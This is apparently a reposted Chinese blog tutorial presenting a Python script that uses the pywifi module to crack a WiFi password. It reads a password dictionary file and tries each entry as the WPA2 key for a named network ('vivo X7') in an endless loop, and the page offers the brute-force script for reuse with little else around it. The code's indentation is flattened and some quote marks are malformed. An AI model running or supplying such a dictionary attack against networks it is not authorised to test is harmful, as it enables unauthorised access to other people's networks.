python

超轻量级php框架startmvc

python 利用pywifi模块实现连接网络破解wifi密码实时监控网络

更新时间:2020-07-31 04:12:01 作者:startmvc
python利用pywifi模块实现连接网络破解wifi密码实时监控网络,具体内容如下:importpywififrompywi

python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,具体内容如下:


import pywifi
from pywifi import *
import time
def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True

if(iface.status()!=const.IFACE_CONNECTED):
 profile = pywifi.Profile()
 profile.ssid = 'vivo X7'
 profile.auth = const.AUTH_ALG_OPEN #需要秘密
 profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
 #profile.key = '123456789' #在此输入你的wifi密码
 profile.key = password
 #time.sleep(3)
 wifi = pywifi.PyWiFi()
 iface = wifi.interfaces()[0] # 取一个无限网卡
 profile = iface.add_network_profile(profile)
 iface.connect(profile)
 time.sleep(3) #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间
 if iface.status()==const.IFACE_CONNECTED:
 print("连接成功!!!")
 else:
 print("连接失败!!!")
 isok=False
 return isok
else:
 print("已经连接网络")
 return isok

#CrackWifi()
def PasswordFile():
pathfile=“H:/wififile.txt” #你的密码字典
files=open(pathfile,‘r')
while True:
fp=files.readline()
if not fp:
break

 wifipass = fp[:-1]
 print(wifipass)
 if CrackWifi(wifipass):
 break

while True:
PasswordFile()
time.sleep(5)

总结

以上所述是小编给大家介绍的python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持! 如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

python pywifi模块 python 监控网络